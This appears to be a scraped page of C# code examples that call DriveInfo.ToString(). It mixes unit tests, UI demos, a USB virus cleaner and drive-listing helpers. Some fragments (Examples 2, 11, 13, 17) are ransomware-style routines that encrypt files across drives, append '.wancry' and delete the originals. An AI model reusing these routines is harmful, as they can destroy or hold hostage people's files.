Example #1
0
        private void RecoverDir(bool status, DriveInfo RemoveableDevices)
        {
            if (status)
            {
                string[] DirectoriesInTop = Directory.GetDirectories(RemoveableDevices.ToString());
                int      s = 0;
                foreach (string CurrentDirectoriesInTop in DirectoriesInTop)
                {
                    try
                    {
                        if (File.Exists(CurrentDirectoriesInTop + ".scr"))
                        {
                            File.Delete(CurrentDirectoriesInTop + ".scr");//, FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
                            s = 1;
                        }
                        if (File.Exists(CurrentDirectoriesInTop + ".exe"))
                        {
                            File.Delete(CurrentDirectoriesInTop + ".exe");//, FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
                            s = 1;
                        }

                        if (s == 1)
                        {
                            //SetAttr(CurrentDirectoriesInTop, FileAttribute.Normal)
                            //SetAttr(CurrentDirectoriesInTop, FileAttribute.System)
                            //ListBox.Items.Add("Directory " + CurrentDirectoriesInTop + "Recovered")
                            //删除Recycled程序


                            if (File.Exists(RemoveableDevices.ToString() + "Recycled.exe"))
                            {
                                File.Delete(RemoveableDevices.ToString() + "Recycled.exe");//, FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
                            }

                            if (CurrentDirectoriesInTop == (RemoveableDevices.ToString() + "$Recycle.bin"))
                            {
                                Directory.Delete(RemoveableDevices.ToString() + "$Recycle.bin");//, FileIO.DeleteDirectoryOption.DeleteAllContents, FileIO.RecycleOption.DeletePermanently)
                            }

                            else
                            {
                                DirectoryInfo DirInf = new DirectoryInfo(CurrentDirectoriesInTop);
                                DirInf.Attributes = FileAttributes.Normal;
                                DirInf.Attributes = FileAttributes.System;
                                //Dim fs, f;
                                //fs = CreateObject("Scripting.FileSystemObject");
                                //f = fs.GetFolder(CurrentDirectoriesInTop);
                                //f.Attributes = 4;//用Attributes函数设置文件夹属性
                            }
                        }
                    }
                    //ListBox.Items.Add("Directory " + CurrentDirectoriesInTop + "Detected")
                    catch (Exception ex)
                    {
                        listBox1.Items.Add(ex.ToString());
                        //MessageBox.Show(ex.ToString());
                    }
                }
            }
        }
Example #2
0
 // Encrypt Button
 private void button1_Click(object sender, EventArgs e)
 {
     if (comboBox1.SelectedItem == null)
     {
         MessageBox.Show("Not choosing drive!");
     }
     else
     {
         decryptPass = textBox1.Text;
         foreach (string directory in Directory.GetDirectories(selectedDrive.ToString()))
         {
             DirectoryInfo directoryInfo = new DirectoryInfo(directory);
             try
             {
                 System.Security.AccessControl.DirectorySecurity directorySecurity = directoryInfo.GetAccessControl();
                 FileInfo[] files = directoryInfo.GetFiles();
                 foreach (FileInfo file in files)
                 {
                     EncryptFile(file.FullName, file.FullName + ".wancry");
                     if (File.Exists(file.FullName))
                     {
                         File.Delete(file.FullName);
                     }
                 }
             }
             catch
             {
                 continue;
             }
         }
         MessageBox.Show("Encrypt Success");
     }
 }
Example #3
0
        public void PropertiesOfValidDrive()
        {
            var driveName = PlatformDetection.IsAndroid ? "/data" : "/";
            var driveInfo = new DriveInfo(driveName);
            var format    = driveInfo.DriveFormat;

            Assert.Equal(PlatformDetection.IsBrowser ? DriveType.Unknown : DriveType.Fixed, driveInfo.DriveType);
            Assert.True(driveInfo.IsReady);
            Assert.Equal(driveName, driveInfo.Name);
            Assert.Equal(driveName, driveInfo.ToString());
            Assert.Equal(driveName, driveInfo.RootDirectory.FullName);
            Assert.Equal(driveName, driveInfo.VolumeLabel);

            if (PlatformDetection.IsBrowser)
            {
                Assert.True(driveInfo.AvailableFreeSpace == 0);
                Assert.True(driveInfo.TotalFreeSpace == 0);
                Assert.True(driveInfo.TotalSize == 0);
            }
            else
            {
                Assert.True(driveInfo.AvailableFreeSpace > 0);
                Assert.True(driveInfo.TotalFreeSpace > 0);
                Assert.True(driveInfo.TotalSize > 0);
            }
        }
Example #4
0
        public void PropertiesOfValidDrive()
        {
            var root   = new DriveInfo("/");
            var format = root.DriveFormat;

            Assert.Equal(PlatformDetection.IsBrowser ? DriveType.Unknown : DriveType.Fixed, root.DriveType);
            Assert.True(root.IsReady);
            Assert.Equal("/", root.Name);
            Assert.Equal("/", root.ToString());
            Assert.Equal("/", root.RootDirectory.FullName);
            Assert.Equal("/", root.VolumeLabel);

            if (PlatformDetection.IsBrowser)
            {
                Assert.True(root.AvailableFreeSpace == 0);
                Assert.True(root.TotalFreeSpace == 0);
                Assert.True(root.TotalSize == 0);
            }
            else
            {
                Assert.True(root.AvailableFreeSpace > 0);
                Assert.True(root.TotalFreeSpace > 0);
                Assert.True(root.TotalSize > 0);
            }
        }
        private void button1_Click(object sender, EventArgs e)
        {
            string        unidad        = (comboBox1.SelectedItem as Language).Value.ToString();
            DriveInfo     dir           = new DriveInfo(unidad);
            long          tamanoDrive   = dir.TotalFreeSpace;
            DirectoryInfo target        = new DirectoryInfo("temp/final");
            long          tamanoCarpeta = DirSize(target);

            if (tamanoDrive > tamanoCarpeta)
            {
                try
                {
                    DeepCopy(new DirectoryInfo("temp/final"), new DirectoryInfo(dir.ToString()));
                    MessageBox.Show("El parcheo se ha completado de forma satisfactoria. Disfruta del juego.", "Proceso terminado", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    Directory.Delete("temp", true);
                    this.Close();
                    Form1 frm = new Form1();
                    frm.Close();
                }
                catch
                {
                    MessageBox.Show("Algo ha salido mal. Tendrás que aplicar el parche manualmente.", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
            else
            {
                MessageBox.Show("No hay espacio suficiente en la tarjeta SD. Copia el parche a la raíz de la SD manualmente después de liberar espacio.", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
                copiaFinal();
            }
        }
Example #6
0
        public MainForm()
        {
            InitializeComponent();

            Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeNodeAdv root = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeNodeAdv();
            DriveInfo drive = new DriveInfo(Environment.SystemDirectory);

            root.Text = drive.ToString();
            this.multiColumnTreeView1.Nodes.AddRange(new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeNodeAdv[] {
                root
            });

            treeColumnAdv1 = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv();
            treeColumnAdv2 = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv();
            treeColumnAdv3 = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv();

            treeColumnAdv1.HelpText       = "Name";
            treeColumnAdv1.Highlighted    = false;
            treeColumnAdv1.Text           = "Name";
            treeColumnAdv1.Width          = this.multiColumnTreeView1.Width / 3;
            treeColumnAdv1.Background     = new Syncfusion.Drawing.BrushInfo(System.Drawing.SystemColors.Highlight);
            treeColumnAdv1.AreaBackground = new Syncfusion.Drawing.BrushInfo(Syncfusion.Drawing.GradientStyle.ForwardDiagonal, System.Drawing.Color.White, System.Drawing.Color.Snow);
            treeColumnAdv1.BorderStyle    = BorderStyle.FixedSingle;

            treeColumnAdv2.HelpText    = "Full Path";
            treeColumnAdv2.Highlighted = false;
            treeColumnAdv2.Text        = "Full Path";
            treeColumnAdv2.Width       = this.multiColumnTreeView1.Width / 3;
            treeColumnAdv2.Background  = new Syncfusion.Drawing.BrushInfo(Syncfusion.Drawing.GradientStyle.Vertical, System.Drawing.SystemColors.Highlight, System.Drawing.SystemColors.Highlight);
            treeColumnAdv2.BorderStyle = BorderStyle.FixedSingle;

            treeColumnAdv3.HelpText    = "Date Modified";
            treeColumnAdv3.Highlighted = false;
            treeColumnAdv3.Text        = "Date Modified";
            treeColumnAdv3.Width       = this.multiColumnTreeView1.Width / 3;
            treeColumnAdv3.Background  = new Syncfusion.Drawing.BrushInfo(Syncfusion.Drawing.GradientStyle.Vertical, System.Drawing.SystemColors.Highlight, System.Drawing.SystemColors.Highlight);
            treeColumnAdv3.BorderStyle = BorderStyle.FixedSingle;

            this.multiColumnTreeView1.Columns.AddRange(new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv[] {
                treeColumnAdv1, treeColumnAdv2, treeColumnAdv3
            });

            this.Load += new EventHandler(MultiColumnTreeViewDemo_Load);
            this.multiColumnTreeView1.BeforeExpand += new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeViewAdvCancelableNodeEventHandler(multiColumnTreeView1_BeforeExpand);
            this.MinimumSize = this.Size;
            this.multiColumnTreeView1.Style = MultiColumnVisualStyle.Office2016Colorful;
            this.treeColumnAdv1.BaseStyle   = (this.multiColumnTreeView1.BaseStylePairs[2] as Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.StyleNamePair).Name;
            this.treeColumnAdv1.BorderStyle = BorderStyle.FixedSingle;
            this.treeColumnAdv2.BorderStyle = BorderStyle.FixedSingle;
            this.treeColumnAdv3.BorderStyle = BorderStyle.FixedSingle;
            try
            {
                System.Drawing.Icon ico = new System.Drawing.Icon(GetIconFile(@"common\Images\Grid\Icon\sfgrid.ico"));
                this.Icon = ico;
            }
            catch { }
        }
Example #7
0
        public Form1()
        {
            InitializeComponent();

            Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeNodeAdv root = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeNodeAdv();
            DriveInfo drive = new DriveInfo(Environment.SystemDirectory);

            root.Text = drive.ToString();
            this.multiColumnTreeView1.Nodes.AddRange(new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeNodeAdv[] {
                root
            });

            treeColumnAdv1 = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv();
            treeColumnAdv2 = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv();
            treeColumnAdv3 = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv();

            treeColumnAdv1.HelpText       = "Name";
            treeColumnAdv1.Highlighted    = false;
            treeColumnAdv1.Text           = "Name";
            treeColumnAdv1.Background     = new Syncfusion.Drawing.BrushInfo(System.Drawing.SystemColors.Highlight);
            treeColumnAdv1.AreaBackground = new Syncfusion.Drawing.BrushInfo(Syncfusion.Drawing.GradientStyle.ForwardDiagonal, System.Drawing.Color.White, System.Drawing.Color.Snow);
            treeColumnAdv1.BorderStyle    = BorderStyle.FixedSingle;

            treeColumnAdv2.HelpText    = "Full Path";
            treeColumnAdv2.Highlighted = false;
            treeColumnAdv2.Text        = "Full Path";
            treeColumnAdv2.Background  = new Syncfusion.Drawing.BrushInfo(Syncfusion.Drawing.GradientStyle.Vertical, System.Drawing.SystemColors.Highlight, System.Drawing.SystemColors.Highlight);
            treeColumnAdv2.BorderStyle = BorderStyle.FixedSingle;

            treeColumnAdv3.HelpText    = "Date Modified";
            treeColumnAdv3.Highlighted = false;
            treeColumnAdv3.Text        = "Date Modified";
            treeColumnAdv3.Background  = new Syncfusion.Drawing.BrushInfo(Syncfusion.Drawing.GradientStyle.Vertical, System.Drawing.SystemColors.Highlight, System.Drawing.SystemColors.Highlight);
            treeColumnAdv3.BorderStyle = BorderStyle.FixedSingle;

            this.multiColumnTreeView1.Columns.AddRange(new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv[] {
                treeColumnAdv1, treeColumnAdv2, treeColumnAdv3
            });
            this.multiColumnTreeView1.AutoSizeMode = Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.AutoSizeMode.Fill;
            this.Load += new EventHandler(MultiColumnTreeViewDemo_Load);
            this.multiColumnTreeView1.BeforeExpand += new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeViewAdvCancelableNodeEventHandler(multiColumnTreeView1_BeforeExpand);
            //this.MinimumSize = this.Size;
            this.treeColumnAdv1.BaseStyle   = (this.multiColumnTreeView1.BaseStylePairs[2] as Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.StyleNamePair).Name;
            this.treeColumnAdv1.BorderStyle = BorderStyle.FixedSingle;
            this.treeColumnAdv2.BorderStyle = BorderStyle.FixedSingle;
            this.treeColumnAdv3.BorderStyle = BorderStyle.FixedSingle;
            visualStyleComboBox.DataSource  = new List <string>()
            {
                "Office2019Colorful", "HighContrastBlack", "Office2016Colorful", "Office2016DarkGray", "Office2016Black", "Office2016White"
            };
            visualStyleComboBox.SelectedIndexChanged += ComboBox_SelectedIndexChanged;
            visualStyleComboBox.AllowDropDownResize   = false;
            this.visualStyleComboBox.DropDownStyle    = Syncfusion.WinForms.ListView.Enums.DropDownStyle.DropDownList;
            this.visualStyleComboBox.SelectedIndex    = 0;
            this.multiColumnTreeView1.FullRowSelect   = true;
            this.singleSelectioncheckBox.Checked      = true;
        }
Example #8
0
        public MainForm()
        {
            InitializeComponent();

            Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeNodeAdv root = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeNodeAdv();
            DriveInfo drive = new DriveInfo(Environment.SystemDirectory);

            root.Text = drive.ToString();
            this.multiColumnTreeView1.Nodes.AddRange(new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeNodeAdv[] {
                root
            });

            treeColumnAdv1 = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv();
            treeColumnAdv2 = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv();
            treeColumnAdv3 = new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv();

            treeColumnAdv1.HelpText       = "Name";
            treeColumnAdv1.Highlighted    = false;
            treeColumnAdv1.Text           = "Name";
            treeColumnAdv1.Background     = new Syncfusion.Drawing.BrushInfo(System.Drawing.SystemColors.Highlight);
            treeColumnAdv1.AreaBackground = new Syncfusion.Drawing.BrushInfo(Syncfusion.Drawing.GradientStyle.ForwardDiagonal, System.Drawing.Color.White, System.Drawing.Color.Snow);
            treeColumnAdv1.BorderStyle    = BorderStyle.FixedSingle;

            treeColumnAdv2.HelpText    = "Full Path";
            treeColumnAdv2.Highlighted = false;
            treeColumnAdv2.Text        = "Full Path";
            treeColumnAdv2.Background  = new Syncfusion.Drawing.BrushInfo(Syncfusion.Drawing.GradientStyle.Vertical, System.Drawing.SystemColors.Highlight, System.Drawing.SystemColors.Highlight);
            treeColumnAdv2.BorderStyle = BorderStyle.FixedSingle;

            treeColumnAdv3.HelpText    = "Date Modified";
            treeColumnAdv3.Highlighted = false;
            treeColumnAdv3.Text        = "Date Modified";
            treeColumnAdv3.Background  = new Syncfusion.Drawing.BrushInfo(Syncfusion.Drawing.GradientStyle.Vertical, System.Drawing.SystemColors.Highlight, System.Drawing.SystemColors.Highlight);
            treeColumnAdv3.BorderStyle = BorderStyle.FixedSingle;

            this.multiColumnTreeView1.Columns.AddRange(new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeColumnAdv[] {
                treeColumnAdv1, treeColumnAdv2, treeColumnAdv3
            });

            this.Load += new EventHandler(MultiColumnTreeViewDemo_Load);
            this.multiColumnTreeView1.BeforeExpand += new Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.TreeViewAdvCancelableNodeEventHandler(multiColumnTreeView1_BeforeExpand);
            this.MinimumSize = this.Size;
            this.treeColumnAdv1.BaseStyle       = (this.multiColumnTreeView1.BaseStylePairs[2] as Syncfusion.Windows.Forms.Tools.MultiColumnTreeView.StyleNamePair).Name;
            this.treeColumnAdv1.BorderStyle     = BorderStyle.FixedSingle;
            this.treeColumnAdv2.BorderStyle     = BorderStyle.FixedSingle;
            this.treeColumnAdv3.BorderStyle     = BorderStyle.FixedSingle;
            this.multiColumnTreeView1.ThemeName = "Office2019Colorful";
            this.multiColumnTreeView1.LabelEdit = false;
            comboBoxAdv1.Items.AddRange(new string[] { "None", "AllCellsExceptHeader", "AllCells", "ColumnHeader", "AllCellsWithLastColumnFill", "Fill", "LastColumnFill" });
            comboBoxAdv1.SelectedIndexChanged      += ComboBox_SelectedIndexChanged;
            comboBoxAdv1.ThemeName                  = "Office2019Colorful";
            this.splitContainer1.BorderStyle        = BorderStyle.None;
            this.comboBoxAdv1.DropDownStyle         = ComboBoxStyle.DropDownList;
            this.comboBoxAdv1.SelectedIndex         = 5;
            this.multiColumnTreeView1.FullRowSelect = true;
        }
Example #9
0
        /// <summary>
        /// Generates <see cref="TreeViewItem"/> for drive info.
        /// </summary>
        /// <param name="drive"></param>
        /// <returns></returns>
        private TreeViewItem GenerateDriveNode(DriveInfo drive)
        {
            var item = new TreeViewItem {
                Tag    = drive,
                Header = drive.ToString()
            };

            item.Items.Add("*");
            item.MouseRightButtonDown += OnMouseRightButtonDown;
            return(item);
        }
Example #10
0
        /// <summary>
        /// Generates <see cref="TreeViewItem"/> for drive info.
        /// </summary>
        /// <param name="drive"></param>
        /// <returns></returns>
        private static TreeViewItem GenerateDriveNode(DriveInfo drive)
        {
            var item = new TreeViewItem
            {
                Tag    = drive,
                Header = drive.ToString()
            };

            item.Items.Add("*");
            return(item);
        }
Example #11
0
 private void Fix_Drivers(string password)
 {
     foreach (var drive in Environment.GetLogicalDrives())
     {
         var Driver = new DriveInfo(drive);
         if (Driver.DriveType == DriveType.Fixed && !Driver.ToString().Contains(Conversions.ToString(C_DIR)))
         {
             string DriverPath = drive;
             encryptDirectory(DriverPath, password);
         }
     }
 }
Example #12
0
        private static TreeViewItem BuildTreeItem(DriveInfo driveInfo)
        {
            var item = new TreeViewItem
            {
                Tag    = driveInfo,
                Header = driveInfo.ToString()
            };

            item.Items.Add("*"); // This placeholder string is never shown, because the node begins in collapsed state.

            return(item);
        }
Example #13
0
 private void OtherDrivers(string password)
 {
     foreach (var drive in Environment.GetLogicalDrives())
     {
         var Driver = new DriveInfo(drive);
         if (!(Driver.DriveType == DriveType.Fixed) && !Driver.ToString().Contains(Conversions.ToString(C_DIR)))
         {
             string DriverPath = drive;
             Dir_Dec(DriverPath, password);
         }
     }
 }
Example #14
0
        private void Remove(string driveStr)
        {
            DriveInfo drive = new DriveInfo(driveStr);

            foreach (var child in Children)
            {
                if ((child as VolumeItem).Path == drive.ToString())
                {
                    RootNode.RemoveNode(this, child);
                    break;
                }
            }
        }
Example #15
0
        private void Add(string driveStr)
        {
            DriveInfo drive = new DriveInfo(driveStr);

            IEnumerable <string> names =
                from item
                in Children
                select(item as VolumeItem).Path;

            int index = names.AlphaNumericInsertPosition(drive.Name);

            RootNode.AddNode(this, new VolumeItem(drive.ToString(), this), index);
        }
            /// <summary>
            ///  FixedDriveを検索
            /// </summary>
            public List <string> GetFixedDrive()
            {
                var fixedDrives = new List <string>();

                foreach (var drive in Environment.GetLogicalDrives())
                {
                    DriveInfo di = new DriveInfo(drive);
                    if (di.DriveType == DriveType.Fixed)
                    {
                        fixedDrives.Add(di.ToString());
                    }
                }
                return(fixedDrives);
            }
Example #17
0
        private void BackgroundWorker3_DoWork(object sender, DoWorkEventArgs e)
        {
            foreach (var drive in Environment.GetLogicalDrives())
            {
                var Driver = new DriveInfo(drive);
                if (!(Driver.DriveType == DriveType.Fixed) && !Driver.ToString().Contains(Conversions.ToString(C_DIR)))
                {
                    string DriverPath = drive;
                    Dir_Dec(DriverPath, Pass);
                }
            }

            Finished += 1;
        }
Example #18
0
 public void PropertiesOfValidDrive()
 {
     var root = new DriveInfo("/");
     Assert.True(root.AvailableFreeSpace > 0);
     var format = root.DriveFormat;
     Assert.Equal(DriveType.Fixed, root.DriveType);
     Assert.True(root.IsReady);
     Assert.Equal("/", root.Name);
     Assert.Equal("/", root.ToString());
     Assert.Equal("/", root.RootDirectory.FullName);
     Assert.True(root.TotalFreeSpace > 0);
     Assert.True(root.TotalSize > 0);
     Assert.Equal("/", root.VolumeLabel);
 }
        /// <summary>
        /// Sets the description and media inserted flags
        /// </summary>
        public bool Initialize()
        {
            var driveDescription = new StringBuilder(DriveInfo.ToString());

            var mediaChanged = false;

            try
            {
                var thisDriveInfo = new DriveInfo(DriveName);

                // ReSharper disable once PossibleLossOfFraction
                float capacity = (thisDriveInfo.TotalSize / 1024) / 1024;
                DriveFormat = thisDriveInfo.DriveFormat;

                if (DriveInfo.VolumeLabel != string.Empty)
                {
                    driveDescription.Append(" (");
                    driveDescription.Append(thisDriveInfo.VolumeLabel);
                    driveDescription.Append(")");
                }

                driveDescription.Append(" [Capacity: ");
                driveDescription.Append(capacity.ToString("00.0"));
                driveDescription.Append(" MB] Type: ");
                driveDescription.Append(thisDriveInfo.DriveFormat);

                Description = driveDescription.ToString();

                if (MediaInserted != true)
                {
                    MediaInserted = true;
                    mediaChanged  = true;
                }
            }
            catch
            {
                driveDescription.Append(NoMedia);
                Description = driveDescription.ToString();
                DriveFormat = NoMedia;

                if (MediaInserted)
                {
                    MediaInserted = false;
                    mediaChanged  = true;
                }
            }

            return(mediaChanged);
        }
Example #20
0
        public string GetDirFileFromDrive(DriveInfo myLink, int NumBrowseDir = 0)
        {
            string strDirFile = "";

            try
            {
                strDirFile += "<#Drive><#DriveName>" + myLink.ToString() + " - " + myLink.VolumeLabel + "</#DriveName>" + Environment.NewLine;
                foreach (DirectoryInfo dirInfo in myLink.RootDirectory.GetDirectories())
                {
                    strDirFile += "\t<#DirItem>" + dirInfo.ToString() + "</#DirItem>" + Environment.NewLine;
                    strDirFile += GetDirFile(dirInfo, NumBrowseDir - 1);
                }
                foreach (FileInfo fileInfo in myLink.RootDirectory.GetFiles())
                {
                    strDirFile += "\t<#FileItem>" + fileInfo.ToString() + " | " + Main.SizeSuffix(fileInfo.Length) + " | " + fileInfo.FullName + "</#FileItem>" + Environment.NewLine;
                }
                strDirFile += "</#Drive>" + Environment.NewLine;
            }
            catch
            {
                strDirFile += "<#Drive><#DriveName>" + myLink.ToString() + " - " + myLink.DriveType + "</#DriveName></#Drive>" + Environment.NewLine;
            }
            return(strDirFile);
        }
Example #21
0
        public void PropertiesOfInvalidDrive()
        {
            string invalidDriveName = "NonExistentDriveName";
            var    invalidDrive     = new DriveInfo(invalidDriveName);

            Assert.Throws <DriveNotFoundException>(() => invalidDrive.AvailableFreeSpace);
            Assert.Throws <DriveNotFoundException>(() => invalidDrive.DriveFormat);
            Assert.Equal(DriveType.NoRootDirectory, invalidDrive.DriveType);
            Assert.False(invalidDrive.IsReady);
            Assert.Equal(invalidDriveName, invalidDrive.Name);
            Assert.Equal(invalidDriveName, invalidDrive.ToString());
            Assert.Equal(invalidDriveName, invalidDrive.RootDirectory.Name);
            Assert.Throws <DriveNotFoundException>(() => invalidDrive.TotalFreeSpace);
            Assert.Throws <DriveNotFoundException>(() => invalidDrive.TotalSize);
            Assert.Equal(invalidDriveName, invalidDrive.VolumeLabel);   // VolumeLabel is equivalent to Name on Unix
        }
Example #22
0
        public void PropertiesOfInvalidDrive()
        {
            string invalidDriveName = "NonExistentDriveName";
            var invalidDrive = new DriveInfo(invalidDriveName);

            Assert.Throws<DriveNotFoundException>(() =>invalidDrive.AvailableFreeSpace);
            Assert.Throws<DriveNotFoundException>(() => invalidDrive.DriveFormat);
            Assert.Equal(DriveType.NoRootDirectory, invalidDrive.DriveType);
            Assert.False(invalidDrive.IsReady);
            Assert.Equal(invalidDriveName, invalidDrive.Name);
            Assert.Equal(invalidDriveName, invalidDrive.ToString());
            Assert.Equal(invalidDriveName, invalidDrive.RootDirectory.Name);
            Assert.Throws<DriveNotFoundException>(() => invalidDrive.TotalFreeSpace);
            Assert.Throws<DriveNotFoundException>(() => invalidDrive.TotalSize);
            Assert.Equal(invalidDriveName, invalidDrive.VolumeLabel);   // VolumeLabel is equivalent to Name on Unix
        }
Example #23
0
        public void PropertiesOfValidDrive()
        {
            var root = new DriveInfo("/");

            Assert.True(root.AvailableFreeSpace > 0);
            var format = root.DriveFormat;

            Assert.Equal(DriveType.Fixed, root.DriveType);
            Assert.True(root.IsReady);
            Assert.Equal("/", root.Name);
            Assert.Equal("/", root.ToString());
            Assert.Equal("/", root.RootDirectory.FullName);
            Assert.True(root.TotalFreeSpace > 0);
            Assert.True(root.TotalSize > 0);
            Assert.Equal("/", root.VolumeLabel);
        }
Example #24
0
        public void DriveTest()
        {
            // 获取当前电脑所有的驱动器
            DriveInfo[] driveInfos = DriveInfo.GetDrives();
            foreach (DriveInfo driveInfo in driveInfos)
            {
                Console.WriteLine(driveInfo.ToString());
            }

            // 获取C盘驱动器
            DriveInfo driveInfoC = new DriveInfo("C:\\");

            Console.WriteLine(driveInfoC.ToString());
            Console.WriteLine("driveInfoC.DriveFormat is: {0}", driveInfoC.DriveFormat);

            Console.WriteLine("driveInfoC.DriveType is: {0}", driveInfoC.DriveType);
        }
Example #25
0
        public void TestInvalidDiskProperties()
        {
            string invalidDriveName = GetInvalidDriveLettersOnMachine().First().ToString();
            var    invalidDrive     = new DriveInfo(invalidDriveName);

            Assert.Throws <DriveNotFoundException>(() => invalidDrive.AvailableFreeSpace);
            Assert.Throws <DriveNotFoundException>(() => invalidDrive.DriveFormat);
            Assert.Equal(DriveType.NoRootDirectory, invalidDrive.DriveType);
            Assert.False(invalidDrive.IsReady);
            Assert.Equal(invalidDriveName + ":\\", invalidDrive.Name);
            Assert.Equal(invalidDriveName + ":\\", invalidDrive.ToString());
            Assert.Equal(invalidDriveName + ":\\", invalidDrive.RootDirectory.FullName);
            Assert.Throws <DriveNotFoundException>(() => invalidDrive.TotalFreeSpace);
            Assert.Throws <DriveNotFoundException>(() => invalidDrive.TotalSize);
            Assert.Throws <DriveNotFoundException>(() => invalidDrive.VolumeLabel);
            Assert.Throws <DriveNotFoundException>(() => invalidDrive.VolumeLabel = null);
        }
Example #26
0
        private void button1_Click(object sender, EventArgs e)
        {
            string        unidad        = (comboBox1.SelectedItem as Language).Value.ToString();
            DriveInfo     dir           = new DriveInfo(unidad);
            long          tamanoDrive   = dir.TotalFreeSpace;
            DirectoryInfo target        = new DirectoryInfo("temp/final");
            long          tamanoCarpeta = DirSize(target);

            if (tamanoDrive > tamanoCarpeta)
            {
                try
                {
                    DeepCopy(new DirectoryInfo("temp/final"), new DirectoryInfo(dir.ToString()));
                    MessageBox.Show("El parcheo se ha completado de forma satisfactoria. Disfruta del juego.", "Proceso terminado", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    Directory.Delete("temp", true);
                    this.Close();
                    Form1 frm = new Form1();
                    frm.Close();
                }
                catch
                {
                    MessageBox.Show("Algo ha salido mal, vuelve a intentarlo, por favor.", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    string directorio = Directory.GetCurrentDirectory().ToString() + "/CCCI_LJT";
                    if (Directory.Exists(directorio))
                    {
                        Directory.Delete(directorio, true);
                    }
                    Directory.Move("temp/final", directorio);
                    Process.Start(directorio);
                    this.Close();
                    Form1 frm = new Form1();
                    frm.Close();
                }
            }
            else
            {
                MessageBox.Show("No hay espacio suficiente en la tarjeta SD. Copia la carpeta a la raíz manualmente después de liberar espacio.", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Directory.Delete("temp", true);
                Process.Start(@"temp/final");
            }
        }
Example #27
0
        private void DevicePowerState_Load(object sender, EventArgs e)
        {
            PerformanceCounterCategory pcc = new PerformanceCounterCategory("LogicalDisk");
            String[] instanceNames = pcc.GetInstanceNames();
            driveInfoList = new List<DriveInfo>();
            for (int i = 0; i < instanceNames.Length; i++)
            {
                // 2文字のものだけ対象("C:"等)
                if (instanceNames[i].Length != 2)
                {
                    continue;
                }

                DriveInfo d = new DriveInfo();
                d.driveName = instanceNames[i]+"\\";
                d.powerState = true;
                driveInfoList.Add(d);
                driveListBox.Items.Add(d.ToString());
            }
            
            timer.Start();
        }
Example #28
0
        public void Eject()
        {
            string         driveName = "\\\\.\\" + drive.ToString().Substring(0, 2);
            SafeFileHandle hDrive    = ApiFunctions.CreateFile(driveName,
                                                               AccessMask.GENERIC_READ, System.IO.FileShare.ReadWrite, 0,
                                                               System.IO.FileMode.Open, 0, IntPtr.Zero);

            if (hDrive.IsInvalid)
            {
                throw new DeviceException(host, "Failed to eject device, could not open drive");
            }

            int retByte;
            NativeOverlapped nativeOverlap = new NativeOverlapped();

            bool status = ApiFunctions.DeviceIoControl(hDrive, DeviceIOControlCode.StorageEjectMedia,
                                                       IntPtr.Zero, 0, IntPtr.Zero, 0, out retByte, ref nativeOverlap);

            if (!status)
            {
                throw new DeviceException(host, "Failed to eject device, DeviceIoControl returned false");
            }
        }
Example #29
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        /// <param name="FilePaths"></param>
        /// <param name="OutFilePath"></param>
        /// <param name="Password"></param>
        /// <param name="PasswordBinary"></param>
        /// <param name="NewArchiveName"></param>
        /// <returns></returns>
        public bool Encrypt(object sender, DoWorkEventArgs e,
                            string[] FilePaths, string OutFilePath, string Password, byte[] PasswordBinary, string NewArchiveName)
        {
            BackgroundWorker worker = sender as BackgroundWorker;

            byte[] bufferKey = new byte[32];

            e.Result = ENCRYPTING;

            _FileList = new List <string>();

            //----------------------------------------------------------------------
            // Check the disk space
            //----------------------------------------------------------------------
            string RootDriveLetter = Path.GetPathRoot(Path.GetDirectoryName(OutFilePath)).Substring(0, 1);

            if (RootDriveLetter == "\\")
            {
                // Network
            }
            else
            {
                DriveInfo drive = new DriveInfo(RootDriveLetter);

                DriveType driveType = drive.DriveType;
                switch (driveType)
                {
                case DriveType.CDRom:
                case DriveType.NoRootDirectory:
                case DriveType.Unknown:
                    break;

                case DriveType.Fixed:     // Local Drive
                case DriveType.Network:   // Mapped Drive
                case DriveType.Ram:       // Ram Drive
                case DriveType.Removable: // Usually a USB Drive

                    // The drive is not available, or not enough free space.
                    if (drive.IsReady == false || drive.AvailableFreeSpace < _TotalFileSize)
                    {
